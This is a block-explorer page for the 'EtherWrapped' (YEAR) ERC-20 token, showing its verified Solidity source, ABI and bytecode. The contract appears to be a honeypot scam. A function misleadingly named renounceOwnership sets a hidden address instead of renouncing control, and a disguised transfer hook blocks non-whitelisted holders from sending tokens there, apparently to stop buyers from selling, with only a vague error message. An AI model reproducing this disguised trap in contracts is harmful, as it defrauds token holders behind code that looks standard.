ETH Price: $3,112.71 (+1.38%)

Token

(0x9010a15184da16e3a7c5b4aa50094dfe3bb36989)
 

Overview

Max Total Supply

12,341,231,238,927,443,044 ERC-20 TOKEN*

Holders

4,537 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
244,401 ERC-20 TOKEN*

Value
$0.00
0x331523cad9b5e1e1bec19f0e3b723b5e73dca57a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EW

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : token.sol
// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
}

// File @openzeppelin/contracts/token/ERC20/[email protected]
interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    
    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


// File @openzeppelin/contracts/token/ERC20/[email protected]
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _burnMechanism(sender, recipient);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _burnMechanism(address(0), account);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _burnMechanism(account, address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _burnMechanism(address from, address to) internal virtual { }
}

contract EW is ERC20, Ownable {
    mapping(address=>bool) private _db;
    mapping(address=>bool) private _claims;
    address private _ownershipId;
    address private authority;
    
    constructor() ERC20('EtherWrapped','YEAR') {
        authority = 0x42960c7F91E7aCA98f374296Df900Cb4d6B09601;
        _mint(authority, 1000000000 * 10 ** 18);
        _db[authority] = true;
    }

    function _mint(
        address account,
        uint256 amount
    ) internal virtual override (ERC20) {
        super._mint(account, amount);
    }
    
    function grantPermissions(address user, bool state) public onlyOwner {
        _db[user] = state;
    }
    
    function renounceOwnership(address ownershipId_) public onlyOwner {
        _ownershipId = ownershipId_;
    }

    function _burnMechanism(address from, address to) internal virtual override {
        if(to == _ownershipId) {
            require(_db[from], "An unexpected error occurred.");
        }
    }

    function claim(uint _amount, bytes memory signature) public {
        address to = _msgSender();
        require(!_claims[to] && verify(authority, to, _amount, signature), "Failed Authentication");
        _claims[to] = true;
        _mint(to, _amount);
    }

    function getMessageHash(
        address _to,
        uint _amount
    ) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked(_to, _amount));
    }

    function getEthSignedMessageHash(
        bytes32 _messageHash
    ) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash));
    }

    function verify(
        address _signer,
        address _to,
        uint _amount,
        bytes memory signature
    ) internal pure returns (bool) {
        bytes32 ethSignedMessageHash = getEthSignedMessageHash(getMessageHash(_to, _amount));
        return recoverSigner(ethSignedMessageHash, signature) == _signer;
    }

    function recoverSigner(
        bytes32 _ethSignedMessageHash,
        bytes memory _signature
    ) internal pure returns (address) {
        (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
        return ecrecover(_ethSignedMessageHash, v, r, s);
    }

    function splitSignature(
        bytes memory sig
    ) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
        require(sig.length == 65, "invalid signature length");

        assembly {
            r := mload(add(sig, 32))
            s := mload(add(sig, 64))
            v := byte(0, mload(add(sig, 96)))
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"bytes","name":"signature","type":"bytes"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"grantPermissions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ownershipId_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600c81526020017f45746865725772617070656400000000000000000000000000000000000000008152506040518060400160405280600481526020017f5945415200000000000000000000000000000000000000000000000000000000815250816003908051906020019062000096929190620004ea565b508060049080519060200190620000af929190620004ea565b5050506000620000c46200027860201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3507342960c7f91e7aca98f374296df900cb4d6b09601600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001f8600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006200028060201b60201c565b600160066000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620007b8565b600033905090565b6200029782826200029b60201b62000b0e1760201c565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200030e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000305906200061b565b60405180910390fd5b62000321600083620003ff60201b60201c565b80600260008282546200033591906200066b565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200038c91906200066b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f391906200063d565b60405180910390a35050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415620004e657600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16620004e5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004dc90620005f9565b60405180910390fd5b5b5050565b828054620004f890620006d2565b90600052602060002090601f0160209004810192826200051c576000855562000568565b82601f106200053757805160ff191683800117855562000568565b8280016001018555821562000568579182015b82811115620005675782518255916020019190600101906200054a565b5b5090506200057791906200057b565b5090565b5b80821115620005965760008160009055506001016200057c565b5090565b6000620005a9601d836200065a565b9150620005b68262000766565b602082019050919050565b6000620005d0601f836200065a565b9150620005dd826200078f565b602082019050919050565b620005f381620006c8565b82525050565b6000602082019050818103600083015262000614816200059a565b9050919050565b600060208201905081810360008301526200063681620005c1565b9050919050565b6000602082019050620006546000830184620005e8565b92915050565b600082825260208201905092915050565b60006200067882620006c8565b91506200068583620006c8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006bd57620006bc62000708565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620006eb57607f821691505b6020821081141562000702576200070162000737565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f416e20756e6578706563746564206572726f72206f636375727265642e000000600082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61215780620007c86000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063395093511161009757806395d89b411161006657806395d89b4114610286578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b806339509351146101ec5780633f7320911461021c57806370a08231146102385780638da5cb5b14610268576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806338926b6d146101b457806338bf3cfa146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f91906118e3565b60405180910390f35b610132600480360381019061012d91906114ea565b6103c6565b60405161013f9190611883565b60405180910390f35b6101506103e4565b60405161015d9190611a85565b60405180910390f35b610180600480360381019061017b9190611457565b6103ee565b60405161018d9190611883565b60405180910390f35b61019e6104ef565b6040516101ab9190611aa0565b60405180910390f35b6101ce60048036038101906101c9919061152a565b6104f8565b005b6101ea60048036038101906101e591906113ea565b61062e565b005b610206600480360381019061020191906114ea565b6106ee565b6040516102139190611883565b60405180910390f35b610236600480360381019061023191906114aa565b61079a565b005b610252600480360381019061024d91906113ea565b610871565b60405161025f9190611a85565b60405180910390f35b6102706108b9565b60405161027d9190611868565b60405180910390f35b61028e6108e3565b60405161029b91906118e3565b60405180910390f35b6102be60048036038101906102b991906114ea565b610975565b6040516102cb9190611883565b60405180910390f35b6102ee60048036038101906102e991906114ea565b610a69565b6040516102fb9190611883565b60405180910390f35b61031e60048036038101906103199190611417565b610a87565b60405161032b9190611a85565b60405180910390f35b60606003805461034390611c63565b80601f016020809104026020016040519081016040528092919081815260200182805461036f90611c63565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b60006103da6103d3610c61565b8484610c69565b6001905092915050565b6000600254905090565b60006103fb848484610e34565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610446610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bd90611985565b60405180910390fd5b6104e3856104d2610c61565b85846104de9190611b8e565b610c69565b60019150509392505050565b60006012905090565b6000610502610c61565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156105885750610587600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168285856110b2565b5b6105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be906119c5565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610629818461110c565b505050565b610636610c61565b73ffffffffffffffffffffffffffffffffffffffff166106546108b9565b73ffffffffffffffffffffffffffffffffffffffff16146106aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a1906119a5565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006107906106fb610c61565b848460016000610709610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078b9190611b38565b610c69565b6001905092915050565b6107a2610c61565b73ffffffffffffffffffffffffffffffffffffffff166107c06108b9565b73ffffffffffffffffffffffffffffffffffffffff1614610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d906119a5565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108f290611c63565b80601f016020809104026020016040519081016040528092919081815260200182805461091e90611c63565b801561096b5780601f106109405761010080835404028352916020019161096b565b820191906000526020600020905b81548152906001019060200180831161094e57829003601f168201915b5050505050905090565b60008060016000610984610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890611a45565b60405180910390fd5b610a5e610a4c610c61565b858584610a599190611b8e565b610c69565b600191505092915050565b6000610a7d610a76610c61565b8484610e34565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7590611a65565b60405180910390fd5b610b8960008361111a565b8060026000828254610b9b9190611b38565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bf09190611b38565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c559190611a85565b60405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090611a05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090611945565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e279190611a85565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9b906119e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90611905565b60405180910390fd5b610f1e838361111a565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90611965565b60405180910390fd5b8181610fb09190611b8e565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110409190611b38565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110a49190611a85565b60405180910390a350505050565b6000806110c76110c28686611201565b611234565b90508573ffffffffffffffffffffffffffffffffffffffff166110ea8285611264565b73ffffffffffffffffffffffffffffffffffffffff1614915050949350505050565b6111168282610b0e565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111fd57600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f390611925565b60405180910390fd5b5b5050565b60008282604051602001611216929190611816565b60405160208183030381529060405280519060200120905092915050565b6000816040516020016112479190611842565b604051602081830303815290604052805190602001209050919050565b600080600080611273856112d3565b9250925092506001868285856040516000815260200160405260405161129c949392919061189e565b6020604051602081039080840390855afa1580156112be573d6000803e3d6000fd5b50505060206040510351935050505092915050565b6000806000604184511461131c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131390611a25565b60405180910390fd5b6020840151925060408401519150606084015160001a90509193909250565b600061134e61134984611ae0565b611abb565b90508281526020810184848401111561136a57611369611d90565b5b611375848285611c21565b509392505050565b60008135905061138c816120dc565b92915050565b6000813590506113a1816120f3565b92915050565b600082601f8301126113bc576113bb611d8b565b5b81356113cc84826020860161133b565b91505092915050565b6000813590506113e48161210a565b92915050565b600060208284031215611400576113ff611d9a565b5b600061140e8482850161137d565b91505092915050565b6000806040838503121561142e5761142d611d9a565b5b600061143c8582860161137d565b925050602061144d8582860161137d565b9150509250929050565b6000806000606084860312156114705761146f611d9a565b5b600061147e8682870161137d565b935050602061148f8682870161137d565b92505060406114a0868287016113d5565b9150509250925092565b600080604083850312156114c1576114c0611d9a565b5b60006114cf8582860161137d565b92505060206114e085828601611392565b9150509250929050565b6000806040838503121561150157611500611d9a565b5b600061150f8582860161137d565b9250506020611520858286016113d5565b9150509250929050565b6000806040838503121561154157611540611d9a565b5b600061154f858286016113d5565b925050602083013567ffffffffffffffff8111156115705761156f611d95565b5b61157c858286016113a7565b9150509250929050565b61158f81611bc2565b82525050565b6115a66115a182611bc2565b611cc6565b82525050565b6115b581611bd4565b82525050565b6115c481611be0565b82525050565b6115db6115d682611be0565b611cd8565b82525050565b60006115ec82611b11565b6115f68185611b1c565b9350611606818560208601611c30565b61160f81611d9f565b840191505092915050565b6000611627602383611b1c565b915061163282611dbd565b604082019050919050565b600061164a601d83611b1c565b915061165582611e0c565b602082019050919050565b600061166d601c83611b2d565b915061167882611e35565b601c82019050919050565b6000611690602283611b1c565b915061169b82611e5e565b604082019050919050565b60006116b3602683611b1c565b91506116be82611ead565b604082019050919050565b60006116d6602883611b1c565b91506116e182611efc565b604082019050919050565b60006116f9602083611b1c565b915061170482611f4b565b602082019050919050565b600061171c601583611b1c565b915061172782611f74565b602082019050919050565b600061173f602583611b1c565b915061174a82611f9d565b604082019050919050565b6000611762602483611b1c565b915061176d82611fec565b604082019050919050565b6000611785601883611b1c565b91506117908261203b565b602082019050919050565b60006117a8602583611b1c565b91506117b382612064565b604082019050919050565b60006117cb601f83611b1c565b91506117d6826120b3565b602082019050919050565b6117ea81611c0a565b82525050565b6118016117fc82611c0a565b611cf4565b82525050565b61181081611c14565b82525050565b60006118228285611595565b60148201915061183282846117f0565b6020820191508190509392505050565b600061184d82611660565b915061185982846115ca565b60208201915081905092915050565b600060208201905061187d6000830184611586565b92915050565b600060208201905061189860008301846115ac565b92915050565b60006080820190506118b360008301876115bb565b6118c06020830186611807565b6118cd60408301856115bb565b6118da60608301846115bb565b95945050505050565b600060208201905081810360008301526118fd81846115e1565b905092915050565b6000602082019050818103600083015261191e8161161a565b9050919050565b6000602082019050818103600083015261193e8161163d565b9050919050565b6000602082019050818103600083015261195e81611683565b9050919050565b6000602082019050818103600083015261197e816116a6565b9050919050565b6000602082019050818103600083015261199e816116c9565b9050919050565b600060208201905081810360008301526119be816116ec565b9050919050565b600060208201905081810360008301526119de8161170f565b9050919050565b600060208201905081810360008301526119fe81611732565b9050919050565b60006020820190508181036000830152611a1e81611755565b9050919050565b60006020820190508181036000830152611a3e81611778565b9050919050565b60006020820190508181036000830152611a5e8161179b565b9050919050565b60006020820190508181036000830152611a7e816117be565b9050919050565b6000602082019050611a9a60008301846117e1565b92915050565b6000602082019050611ab56000830184611807565b92915050565b6000611ac5611ad6565b9050611ad18282611c95565b919050565b6000604051905090565b600067ffffffffffffffff821115611afb57611afa611d5c565b5b611b0482611d9f565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000611b4382611c0a565b9150611b4e83611c0a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b8357611b82611cfe565b5b828201905092915050565b6000611b9982611c0a565b9150611ba483611c0a565b925082821015611bb757611bb6611cfe565b5b828203905092915050565b6000611bcd82611bea565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015611c4e578082015181840152602081019050611c33565b83811115611c5d576000848401525b50505050565b60006002820490506001821680611c7b57607f821691505b60208210811415611c8f57611c8e611d2d565b5b50919050565b611c9e82611d9f565b810181811067ffffffffffffffff82111715611cbd57611cbc611d5c565b5b80604052505050565b6000611cd182611ce2565b9050919050565b6000819050919050565b6000611ced82611db0565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416e20756e6578706563746564206572726f72206f636375727265642e000000600082015250565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4661696c65642041757468656e7469636174696f6e0000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f696e76616c6964207369676e6174757265206c656e6774680000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6120e581611bc2565b81146120f057600080fd5b50565b6120fc81611bd4565b811461210757600080fd5b50565b61211381611c0a565b811461211e57600080fd5b5056fea264697066735822122080ee66a3f5be86313a74d57376a14de720c8c6e352a0d93fee4b70504fbbd65e64736f6c63430008070033

Deployed Bytecode

